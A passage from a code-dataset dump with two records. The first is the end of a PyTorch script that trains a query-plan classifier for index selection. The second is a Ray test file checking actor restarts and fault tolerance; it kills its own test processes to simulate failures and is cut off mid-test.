args.method == 'avgdl':\n left_ld = avgdl_loader(left_ds, batch_size = args.bs, collate_fn=avgdl_collate, shuffle=False)\n left_batch = next(iter(left_ld))[0].to(args.device)\n \n right_ld = avgdl_loader(right_ds, batch_size = args.bs, collate_fn=avgdl_collate, shuffle=False)\n right_batch = next(iter(right_ld))[0].to(args.device)\n\n \n return left_batch, right_batch\n\ndef get_dat_model(roots, costs, args):\n if args.method == 'avgdl': \n encoding = avgdl_Encoding()\n full_ds = AVGDL_Dataset(roots, encoding, costs, ds_info)\n rep = AVGDL(32, 64, 64)\n model = Classifier(64)\n \n return full_ds, rep, model\n\nclass Classifier(nn.Module):\n def __init__(self, in_feat, hid_unit=64, classes=3):\n super(Classifier, self).__init__()\n self.mlp1 = nn.Linear(in_feat, hid_unit)\n self.mlp2 = nn.Linear(hid_unit, hid_unit)\n self.mlp3 = nn.Linear(hid_unit, hid_unit)\n self.mlp4 = nn.Linear(hid_unit, classes)\n def forward(self, lefts, rights):\n features = rights - lefts\n hid = F.relu(self.mlp1(features))\n mid = F.relu(self.mlp2(hid))\n mid = F.relu(self.mlp3(mid))\n out = self.mlp4(hid+mid)\n return out\n \n \n# training functions\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\nimport time\ndef train(model, rep, full_ds, train_df, ds_info, args):\n \n bs, device, epochs = args.bs, args.device, args.epochs\n lr = args.lr\n \n if rep == 'NA':\n optimizer = torch.optim.Adam(list(model.parameters()),lr = args.lr)\n else:\n optimizer = torch.optim.Adam(list(model.parameters())+ list(rep.parameters()),lr = args.lr)\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, 30, 0.8)\n crit = nn.CrossEntropyLoss()\n best_acc = 0\n rng = np.random.default_rng()\n\n# t0 = time.time()\n best_prev_f1 = 0\n\n model = model.to(device)\n if rep != 'NA':\n rep = rep.to(device)\n \n \n# best_model_path = None\n t0 = time.time()\n for epoch in range(epochs):\n losses = 0\n model.train()\n predlables = []\n gt = []\n\n train_idxs = rng.permutation(len(train_df))\n for idxs in chunks(train_idxs, bs):\n optimizer.zero_grad()\n\n lefts = train_df.loc[idxs, 'Left'].to_numpy()\n rights = train_df.loc[idxs, 'Right'].to_numpy()\n\n left_ds = torch.utils.data.Subset(full_ds, lefts)\n right_ds = torch.utils.data.Subset(full_ds, rights)\n \n left_batch, right_batch = Loader(left_ds, right_ds, args)\n \n if rep == 'NA':\n preds = model(left_batch, right_batch)\n else:\n preds = model(rep(left_batch), rep(right_batch))\n \n _, pred_labels = torch.max(preds, 1)\n\n predlables = np.append(predlables, pred_labels.cpu().detach().numpy())\n \n batch_labels = y_train[idxs].to(device)\n gt = np.append(gt, batch_labels.cpu().detach().numpy())\n\n loss = crit(preds, batch_labels)\n loss.backward()\n\n torch.nn.utils.clip_grad_norm_(model.parameters(), 5)\n\n optimizer.step()\n losses += loss.item()\n \n if epoch % 20 == 0:\n print('training epoch: ', epoch, ' time: ',time.time()-t0)\n\n return model\n \n \n\ndef predict(model, rep, ds, pair_df, args, record = False):\n model = model.to(args.device)\n if rep != 'NA':\n rep = rep.to(args.device)\n model.eval()\n res = np.empty(0)\n if rep == 'NA':\n optimizer = torch.optim.Adam(list(model.parameters()),lr = args.lr)\n else:\n optimizer = torch.optim.Adam(list(model.parameters())+ list(rep.parameters()),lr = args.lr)\n for idxs in chunks(range(len(pair_df)), args.bs):\n \n optimizer.zero_grad()\n\n lefts = pair_df.loc[idxs, 'Left'].to_numpy()\n rights = pair_df.loc[idxs, 'Right'].to_numpy()\n \n left_ds = torch.utils.data.Subset(ds,lefts)\n right_ds = torch.utils.data.Subset(ds,rights)\n \n left_batch, right_batch = Loader(left_ds, right_ds, args)\n \n if rep == 'NA':\n preds = model(left_batch, right_batch)\n else:\n preds = model(rep(left_batch), rep(right_batch))\n \n _, pred_labels = torch.max(preds, 1)\n \n res = np.append(res, pred_labels.cpu().detach().numpy())\n \n \n return res\n\n\nclass Args:\n device = 'cuda:0'\n bs = 64\n epochs = 150\n lr = 1e-3\n hid = 64\n save_path = 'results/index_swap/original/'\n max_filters = 15\n method = 'avgdl'\n save_group = 'avgdl'\n splitting = 'pair' ## plan, query (template in tpc-)\n group = 0 ## in tpch and tpcds\n ##\n threshold = 5\n dataset = 'stats'\n \nargs = Args()\nbs = args.bs\nimport os\nsave_path = args.save_path\nif not os.path.exists(save_path):\n os.makedirs(save_path)\ndevice = args.device\nhid = args.hid\nbs = args.bs\nmethod = args.method\n\nseed = 0\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed_all(seed)\ntorch.backends.cudnn.deterministic = True \ntorch.backends.cudnn.benchmark = False\n\npair_df = pd.read_csv('../data/stats/index/pair_df.csv')\nlong_raw = pd.read_csv('../data/stats/index/long_raw_compiled.csv')\n\n# pair_df = pd.read_csv('../data/tpcds/pair_df_sampled.csv')\n# long_raw = pd.DataFrame()\n# for i in range(21):\n# file = '../data/tpcds/long_raw_part{}.csv'.format(i)\n# df = pd.read_csv(file)\n# long_raw = long_raw.append(df)\n# long_raw.reset_index(drop=True, inplace=True)\n\n# pair_df = pd.read_csv('../data/tpch/pair_ids.csv')\n# long_raw = pd.read_csv('../data/tpch/long_raw.csv')\n\npair_df_swapped = randomSwap(pair_df)\npair_df = pair_df_swapped\n\nfrom dataset_utils import *\n\nroots, js_nodes, idxs = df2nodes(long_raw)\nfor i in range(len(roots)):\n roots[i].query_id = i\n\ndat_path = '../data/stats/'\nminmax = pd.read_csv(dat_path+ 'column_min_max_vals.csv')\ncol_min_max = get_col_min_max(minmax)\nds_info = DatasetInfo({})\nalias2table = ds_info.alias2table\nds_info.construct_from_plans(roots)\nds_info.get_columns(col_min_max)\ncosts = get_costs(js_nodes)\n\ntrain_df,test_df = split_train_test(pair_df, long_raw, args.splitting, args.threshold, args.group, args.dataset)\ntrain_df.reset_index(inplace=True)\ntest_df.reset_index(inplace=True)\ny_train = torch.LongTensor(collate_labels(train_df))\ny_test = torch.LongTensor(collate_labels(test_df))\n\nfull_ds, rep, model = get_dat_model(roots, costs, args)\nmodel = train(model, rep, full_ds, train_df, ds_info, args)\n\npredictions = predict(model, rep, full_ds, train_df, args, record = False)\ntrain_acc, train_f1, train_avg_f1 = compute_score(predictions, y_train.numpy())\nprint(train_acc, train_f1, train_avg_f1)\n\npredictions = predict(model, rep, full_ds, test_df, args, record = True)\ntest_acc, test_f1, test_avg_f1 = compute_score(predictions, y_test.numpy())\nprint(test_acc, test_f1, test_avg_f1)", "repo_name": "zhaoyue-ntu/qp_evaluation", "sub_path": "experiments/index_selection.py", "file_name": "index_selection.py", "file_ext": "py", "file_size_in_byte": 13116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 43, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 165, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 178, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "algorithms.avgdl.DataLoader", "line_number": 188, "usage_type": "call"}, {"api_name": "algorithms.avgdl.collate", "line_number": 188, "usage_type": "name"}, {"api_name": "algorithms.avgdl.DataLoader", "line_number": 191, "usage_type": "call"}, {"api_name": "algorithms.avgdl.collate", "line_number": 191, "usage_type": "name"}, {"api_name": "algorithms.avgdl.Encoding", "line_number": 199, "usage_type": "call"}, {"api_name": "algorithms.avgdl.AVGDL_Dataset", "line_number": 200, "usage_type": "call"}, {"api_name": "algorithms.avgdl.AVGDL", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 206, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 211, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 215, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 216, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 217, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 236, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 238, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 239, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 240, "usage_type": "name"}, {"api_name": "numpy.random.default_rng", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 242, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 267, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Subset", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 268, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 282, "usage_type": "call"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 287, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 306, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 308, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 308, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Subset", "line_number": 316, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 316, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Subset", "line_number": 317, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 317, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 328, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 354, "usage_type": "call"}, {"api_name": "os.path", "line_number": 354, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 355, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 363, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 364, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 365, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 367, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 368, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 391, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 402, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 403, "usage_type": "call"}]} +{"seq_id": "23566672604", "text": "import atexit\nimport asyncio\nimport collections\nimport numpy as np\nimport os\nimport pytest\nimport signal\nimport sys\nimport time\n\nimport ray\nfrom ray.actor import exit_actor\nimport ray.cluster_utils\nfrom ray._private.test_utils import (\n wait_for_condition,\n wait_for_pid_to_exit,\n generate_system_config_map,\n SignalActor,\n)\n\nSIGKILL = signal.SIGKILL if sys.platform != \"win32\" else signal.SIGTERM\n\n\n@pytest.fixture\ndef ray_init_with_task_retry_delay():\n address = ray.init(_system_config={\"task_retry_delay_ms\": 100})\n yield address\n ray.shutdown()\n\n\n@pytest.mark.parametrize(\n \"ray_start_regular\",\n [\n {\n \"object_store_memory\": 150 * 1024 * 1024,\n }\n ],\n indirect=True,\n)\n@pytest.mark.skipif(sys.platform == \"win32\", reason=\"Segfaults on CI\")\ndef test_actor_spilled(ray_start_regular):\n object_store_memory = 150 * 1024 * 1024\n\n @ray.remote\n class Actor:\n def __init__(self):\n pass\n\n def create_object(self, size):\n return np.random.rand(size)\n\n a = Actor.remote()\n # Submit enough methods on the actor so that they exceed the size of the\n # object store.\n objects = []\n num_objects = 40\n for _ in range(num_objects):\n obj = a.create_object.remote(object_store_memory // num_objects)\n objects.append(obj)\n # Get each object once to make sure each object gets created.\n ray.get(obj)\n\n # Get each object again. At this point, the earlier objects should have\n # been spilled.\n num_success = 0\n for obj in objects:\n val = ray.get(obj)\n assert isinstance(val, np.ndarray), val\n num_success += 1\n # All of objects should've been spilled, so all of them should succeed.\n assert num_success == len(objects)\n\n\ndef test_actor_restart(ray_init_with_task_retry_delay):\n \"\"\"Test actor restart when actor process is killed.\"\"\"\n\n @ray.remote(max_restarts=1)\n class RestartableActor:\n \"\"\"An actor that will be restarted at most once.\"\"\"\n\n def __init__(self):\n self.value = 0\n\n def increase(self, exit=False):\n if exit:\n os._exit(-1)\n self.value += 1\n return self.value\n\n def get_pid(self):\n return os.getpid()\n\n actor = RestartableActor.remote()\n # Submit some tasks and kill on a task midway through.\n results = [actor.increase.remote(exit=(i == 100)) for i in range(200)]\n # Make sure that all tasks were executed in order before the actor's death.\n i = 1\n while results:\n res = results[0]\n try:\n r = ray.get(res)\n if r != i:\n # Actor restarted at this task without any failed tasks in\n # between.\n break\n results.pop(0)\n i += 1\n except ray.exceptions.RayActorError:\n break\n # Skip any tasks that errored.\n while results:\n try:\n ray.get(results[0])\n except ray.exceptions.RayActorError:\n results.pop(0)\n else:\n break\n # Check all tasks that executed after the restart.\n if results:\n # The actor executed some tasks after the restart.\n i = 1\n while results:\n r = ray.get(results.pop(0))\n assert r == i\n i += 1\n\n # Check that we can still call the actor.\n result = actor.increase.remote()\n assert ray.get(result) == r + 1\n else:\n # Wait for the actor to restart.\n def ping():\n try:\n ray.get(actor.increase.remote())\n return True\n except ray.exceptions.RayActorError:\n return False\n\n wait_for_condition(ping)\n\n # The actor has restarted. Kill actor process one more time.\n actor.increase.remote(exit=True)\n # The actor has exceeded max restarts. All tasks should fail.\n for _ in range(100):\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(actor.increase.remote())\n\n # Create another actor.\n actor = RestartableActor.remote()\n # Intentionlly exit the actor\n actor.__ray_terminate__.remote()\n # Check that the actor won't be restarted.\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(actor.increase.remote())\n\n\ndef test_actor_restart_with_retry(ray_init_with_task_retry_delay):\n \"\"\"Test actor restart when actor process is killed.\"\"\"\n\n @ray.remote(max_restarts=1, max_task_retries=-1)\n class RestartableActor:\n \"\"\"An actor that will be restarted at most once.\"\"\"\n\n def __init__(self):\n self.value = 0\n\n def increase(self, delay=0):\n time.sleep(delay)\n self.value += 1\n return self.value\n\n def get_pid(self):\n return os.getpid()\n\n actor = RestartableActor.remote()\n pid = ray.get(actor.get_pid.remote())\n results = [actor.increase.remote() for _ in range(100)]\n # Kill actor process, while the above task is still being executed.\n os.kill(pid, SIGKILL)\n wait_for_pid_to_exit(pid)\n # Check that none of the tasks failed and the actor is restarted.\n seq = list(range(1, 101))\n results = ray.get(results)\n failed_task_index = None\n # Make sure that all tasks were executed in order before and after the\n # actor's death.\n for i, res in enumerate(results):\n if res != seq[0]:\n if failed_task_index is None:\n failed_task_index = i\n assert res + failed_task_index == seq[0]\n seq.pop(0)\n # Check that we can still call the actor.\n result = actor.increase.remote()\n assert ray.get(result) == results[-1] + 1\n\n # kill actor process one more time.\n results = [actor.increase.remote() for _ in range(100)]\n pid = ray.get(actor.get_pid.remote())\n os.kill(pid, SIGKILL)\n wait_for_pid_to_exit(pid)\n # The actor has exceeded max restarts, and this task should fail.\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(actor.increase.remote())\n\n # Create another actor.\n actor = RestartableActor.remote()\n # Intentionlly exit the actor\n actor.__ray_terminate__.remote()\n # Check that the actor won't be restarted.\n with pytest.raises(ray.exceptions.RayActorError):\n ray.get(actor.increase.remote())\n\n\ndef test_named_actor_max_task_retries(ray_init_with_task_retry_delay):\n @ray.remote(num_cpus=0)\n class Counter:\n def __init__(self):\n self.count = 0\n self.event = asyncio.Event()\n\n def increment(self):\n self.count += 1\n self.event.set()\n\n async def wait_for_count(self, count):\n while True:\n if self.count >= count:\n return\n await self.event.wait()\n self.event.clear()\n\n @ray.remote\n class ActorToKill:\n def __init__(self, counter):\n counter.increment.remote()\n\n def run(self, counter, signal):\n counter.increment.remote()\n ray.get(signal.wait.remote())\n\n @ray.remote\n class CallingActor:\n def __init__(self):\n self.actor = ray.get_actor(\"a\")\n\n def call_other(self, counter, signal):\n return ray.get(self.actor.run.remote(counter, signal))\n\n init_counter = Counter.remote()\n run_counter = Counter.remote()\n signal = SignalActor.remote()\n\n # Start the two actors, wait for ActorToKill's constructor to run.\n a = ActorToKill.options(name=\"a\", max_restarts=-1, max_task_retries=-1).remote(\n init_counter\n )\n c = CallingActor.remote()\n ray.get(init_counter.wait_for_count.remote(1), timeout=30)\n\n # Signal the CallingActor to call ActorToKill, wait for it to be running,\n # then kill ActorToKill.\n # Verify that this causes ActorToKill's constructor to run a second time\n # and the run method to begin a second time.\n ref = c.call_other.remote(run_counter, signal)\n ray.get(run_counter.wait_for_count.remote(1), timeout=30)\n ray.kill(a, no_restart=False)\n ray.get(init_counter.wait_for_count.remote(2), timeout=30)\n ray.get(run_counter.wait_for_count.remote(2), timeout=30)\n\n # Signal the run method to finish, verify that the CallingActor returns.\n signal.send.remote()\n ray.get(ref, timeout=30)\n\n\ndef test_actor_restart_on_node_failure(ray_start_cluster):\n config = {\n \"health_check_failure_threshold\": 10,\n \"health_check_period_ms\": 100,\n \"health_check_initial_delay_ms\": 0,\n \"object_timeout_milliseconds\": 1000,\n \"task_retry_delay_ms\": 100,\n }\n cluster = ray_start_cluster\n # Head node with no resources.\n cluster.add_node(num_cpus=0, _system_config=config)\n cluster.wait_for_nodes()\n ray.init(address=cluster.address)\n\n # Node to place the actor.\n actor_node = cluster.add_node(num_cpus=1)\n cluster.wait_for_nodes()\n\n @ray.remote(num_cpus=1, max_restarts=1, max_task_retries=-1)\n class RestartableActor:\n \"\"\"An actor that will be reconstructed at most once.\"\"\"\n\n def __init__(self):\n self.value = 0\n\n def increase(self):\n self.value += 1\n return self.value\n\n def ready(self):\n return\n\n actor = RestartableActor.options(lifetime=\"detached\").remote()\n ray.get(actor.ready.remote())\n results = [actor.increase.remote() for _ in range(100)]\n # Kill actor node, while the above task is still being executed.\n cluster.remove_node(actor_node)\n cluster.add_node(num_cpus=1)\n cluster.wait_for_nodes()\n # Check that none of the tasks failed and the actor is restarted.\n seq = list(range(1, 101))\n results = ray.get(results)\n failed_task_index = None\n # Make sure that all tasks were executed in order before and after the\n # actor's death.\n for i, res in enumerate(results):\n elm = seq.pop(0)\n if res != elm:\n if failed_task_index is None:\n failed_task_index = i\n assert res + failed_task_index == elm\n # Check that we can still call the actor.\n result = ray.get(actor.increase.remote())\n assert result == 1 or result == results[-1] + 1\n\n\ndef test_caller_actor_restart(ray_start_regular):\n \"\"\"Test tasks from a restarted actor can be correctly processed\n by the receiving actor.\"\"\"\n\n @ray.remote(max_restarts=1, max_task_retries=-1)\n class RestartableActor:\n \"\"\"An actor that will be restarted at most once.\"\"\"\n\n def __init__(self, actor):\n self.actor = actor\n\n def increase(self):\n return ray.get(self.actor.increase.remote())\n\n def get_pid(self):\n return os.getpid()\n\n @ray.remote(max_restarts=1)\n class Actor:\n \"\"\"An actor that will be restarted at most once.\"\"\"\n\n def __init__(self):\n self.value = 0\n\n def increase(self):\n self.value += 1\n return self.value\n\n remote_actor = Actor.remote()\n actor = RestartableActor.remote(remote_actor)\n # Call increase 3 times\n for _ in range(3):\n ray.get(actor.increase.remote())\n\n # kill the actor.\n # TODO(zhijunfu): use ray.kill instead.\n kill_actor(actor)\n\n # Check that we can still call the actor.\n assert ray.get(actor.increase.remote()) == 4\n\n\ndef test_caller_task_reconstruction(ray_start_regular):\n \"\"\"Test a retried task from a dead worker can be correctly processed\n by the receiving actor.\"\"\"\n\n @ray.remote(max_retries=5)\n def RetryableTask(actor):\n value = ray.get(actor.increase.remote())\n if value > 2:\n return value\n else:\n os._exit(0)\n\n @ray.remote(max_restarts=1)\n class Actor:\n \"\"\"An actor that will be restarted at most once.\"\"\"\n\n def __init__(self):\n self.value = 0\n\n def increase(self):\n self.value += 1\n return self.value\n\n remote_actor = Actor.remote()\n\n assert ray.get(RetryableTask.remote(remote_actor)) == 3\n\n\n@pytest.mark.skipif(sys.platform == \"win32\", reason=\"Very flaky on Windows.\")\n# NOTE(hchen): we set object_timeout_milliseconds to 1s for\n# this test. Because if this value is too small, suprious task reconstruction\n# may happen and cause the test fauilure. If the value is too large, this test\n# could be very slow. We can remove this once we support dynamic timeout.\n@pytest.mark.parametrize(\n \"ray_start_cluster_head\",\n [\n generate_system_config_map(\n object_timeout_milliseconds=1000,\n health_check_initial_delay_ms=0,\n health_check_period_ms=1000,\n health_check_failure_threshold=10,\n )\n ],\n indirect=True,\n)\ndef test_multiple_actor_restart(ray_start_cluster_head):\n cluster = ray_start_cluster_head\n # This test can be made more stressful by increasing the numbers below.\n # The total number of actors created will be\n # num_actors_at_a_time * num_nodes.\n num_nodes = 5\n num_actors_at_a_time = 3\n num_function_calls_at_a_time = 10\n\n worker_nodes = [cluster.add_node(num_cpus=3) for _ in range(num_nodes)]\n\n @ray.remote(max_restarts=-1, max_task_retries=-1)\n class SlowCounter:\n def __init__(self):\n self.x = 0\n\n def inc(self, duration):\n time.sleep(duration)\n self.x += 1\n return self.x\n\n # Create some initial actors.\n actors = [SlowCounter.remote() for _ in range(num_actors_at_a_time)]\n\n # Wait for the actors to start up.\n time.sleep(1)\n\n # This is a mapping from actor handles to object refs returned by\n # methods on that actor.\n result_ids = collections.defaultdict(lambda: [])\n\n # In a loop we are going to create some actors, run some methods, kill\n # a raylet, and run some more methods.\n for node in worker_nodes:\n # Create some actors.\n actors.extend([SlowCounter.remote() for _ in range(num_actors_at_a_time)])\n # Run some methods.\n for j in range(len(actors)):\n actor = actors[j]\n for _ in range(num_function_calls_at_a_time):\n result_ids[actor].append(actor.inc.remote(j**2 * 0.000001))\n # Kill a node.\n cluster.remove_node(node)\n\n # Run some more methods.\n for j in range(len(actors)):\n actor = actors[j]\n for _ in range(num_function_calls_at_a_time):\n result_ids[actor].append(actor.inc.remote(j**2 * 0.000001))\n\n # Get the results and check that they have the correct values.\n for _, result_id_list in result_ids.items():\n results = ray.get(result_id_list)\n for i, result in enumerate(results):\n if i == 0:\n assert result == 1\n else:\n assert result == results[i - 1] + 1 or result == 1\n\n\ndef kill_actor(actor):\n \"\"\"A helper function that kills an actor process.\"\"\"\n pid = ray.get(actor.get_pid.remote())\n os.kill(pid, SIGKILL)\n wait_for_pid_to_exit(pid)\n\n\ndef test_decorated_method(ray_start_regular):\n def method_invocation_decorator(f):\n def new_f_invocation(args, kwargs):\n # Split one argument into two. Return th kwargs without passing\n # them into the actor.\n return f([args[0], args[0]], {}), kwargs\n\n return new_f_invocation\n\n def method_execution_decorator(f):\n def new_f_execution(self, b, c):\n # Turn two arguments into one.\n return f(self, b + c)\n\n new_f_execution.__ray_invocation_decorator__ = method_invocation_decorator\n return new_f_execution\n\n @ray.remote\n class Actor:\n @method_execution_decorator\n def decorated_method(self, x):\n return x + 1\n\n a = Actor.remote()\n\n object_ref, extra = a.decorated_method.remote(3, kwarg=3)\n assert isinstance(object_ref, ray.ObjectRef)\n assert extra == {\"kwarg\": 3}\n assert ray.get(object_ref) == 7 # 2 * 3 + 1\n\n\n@pytest.mark.parametrize(\n \"ray_start_cluster\",\n [\n {\n \"num_cpus\": 1,\n \"num_nodes\": 1,\n }\n ],\n indirect=True,\n)\ndef test_actor_owner_worker_dies_before_dependency_ready(ray_start_cluster):\n \"\"\"Test actor owner worker dies before local dependencies are resolved.\n This test verifies the scenario where owner worker\n has failed before actor dependencies are resolved.\n Reference: https://github.com/ray-project/ray/pull/8045\n \"\"\"\n\n @ray.remote\n class Actor:\n def __init__(self, dependency):\n print(\"actor: {}\".format(os.getpid()))\n self.dependency = dependency\n\n def f(self):\n return self.dependency\n\n @ray.remote\n class Owner:\n def get_pid(self):\n return os.getpid()\n\n def create_actor(self, caller_handle):\n s = SignalActor.remote()\n # Create an actor which depends on an object that can never be\n # resolved.\n actor_handle = Actor.remote(s.wait.remote())\n\n pid = os.getpid()\n signal_handle = SignalActor.remote()\n caller_handle.call.remote(pid, signal_handle, actor_handle)\n # Wait until the `Caller` start executing the remote `call` method.\n ray.get(signal_handle.wait.remote())\n # exit\n os._exit(0)\n\n @ray.remote\n class Caller:\n def call(self, owner_pid, signal_handle, actor_handle):\n # Notify the `Owner` that the `Caller` is executing the remote\n # `call` method.\n ray.get(signal_handle.send.remote())\n # Wait for the `Owner` to exit.\n wait_for_pid_to_exit(owner_pid)\n oid = actor_handle.f.remote()\n # It will hang without location resolution protocol.\n ray.get(oid)\n\n def hang(self):\n return True\n\n owner = Owner.remote()\n owner_pid = ray.get(owner.get_pid.remote())\n\n caller = Caller.remote()\n owner.create_actor.remote(caller)\n # Wait for the `Owner` to exit.\n wait_for_pid_to_exit(owner_pid)\n # It will hang here if location is not properly resolved.\n wait_for_condition(lambda: ray.get(caller.hang.remote()))\n\n\n@pytest.mark.parametrize(\n \"ray_start_cluster\",\n [\n {\n \"num_cpus\": 3,\n \"num_nodes\": 1,\n }\n ],\n indirect=True,\n)\ndef test_actor_owner_node_dies_before_dependency_ready(ray_start_cluster):\n \"\"\"Test actor owner node dies before local dependencies are resolved.\n This test verifies the scenario where owner node\n has failed before actor dependencies are resolved.\n Reference: https://github.com/ray-project/ray/pull/8045\n \"\"\"\n\n @ray.remote\n class Actor:\n def __init__(self, dependency):\n print(\"actor: {}\".format(os.getpid()))\n self.dependency = dependency\n\n def f(self):\n return self.dependency\n\n # Make sure it is scheduled in the second node.\n @ray.remote(resources={\"node\": 1})\n class Owner:\n def get_pid(self):\n return os.getpid()\n\n def create_actor(self, caller_handle):\n s = SignalActor.remote()\n # Create an actor which depends on an object that can never be\n # resolved.\n actor_handle = Actor.remote(s.wait.remote())\n\n pid = os.getpid()\n signal_handle = SignalActor.remote()\n caller_handle.call.remote(pid, signal_handle, actor_handle)\n # Wait until the `Caller` start executing the remote `call` method.\n ray.get(signal_handle.wait.remote())\n\n @ray.remote(resources={\"caller\": 1})\n class Caller:\n def call(self, owner_pid, signal_handle, actor_handle):\n # Notify the `Owner` that the `Caller` is executing the remote\n # `call` method.\n ray.get(signal_handle.send.remote())\n # Wait for the `Owner` to exit.\n wait_for_pid_to_exit(owner_pid)\n oid = actor_handle.f.remote()\n # It will hang without location resolution protocol.\n ray.get(oid)\n\n def hang(self):\n return True\n\n cluster = ray_start_cluster\n node_to_be_broken = cluster.add_node(resources={\"node\": 1})\n cluster.add_node(resources={\"caller\": 1})\n\n owner = Owner.remote()\n owner_pid = ray.get(owner.get_pid.remote())\n\n caller = Caller.remote()\n ray.get(owner.create_actor.remote(caller))\n cluster.remove_node(node_to_be_broken)\n wait_for_pid_to_exit(owner_pid)\n\n # It will hang here if location is not properly resolved.\n wait_for_condition(lambda: ray.get(caller.hang.remote()))\n\n\ndef test_recreate_child_actor(ray_start_cluster):\n @ray.remote\n class Actor:\n def __init__(self):\n pass\n\n def ready(self):\n return\n\n @ray.remote(max_restarts=-1, max_task_retries=-1)\n class Parent:\n def __init__(self):\n self.child = Actor.remote()\n\n def ready(self):\n return ray.get(self.child.ready.remote())\n\n def pid(self):\n return os.getpid()\n\n ray.init(address=ray_start_cluster.address)\n p = Parent.remote()\n pid = ray.get(p.pid.remote())\n os.kill(pid, 9)\n ray.get(p.ready.remote())\n\n\ndef test_actor_failure_per_type(ray_start_cluster):\n cluster = ray_start_cluster\n cluster.add_node()\n ray.init(address=\"auto\")\n\n @ray.remote\n class Actor:\n def check_alive(self):\n return os.getpid()\n\n def create_actor(self):\n self.a = Actor.remote()\n return self.a\n\n # Test 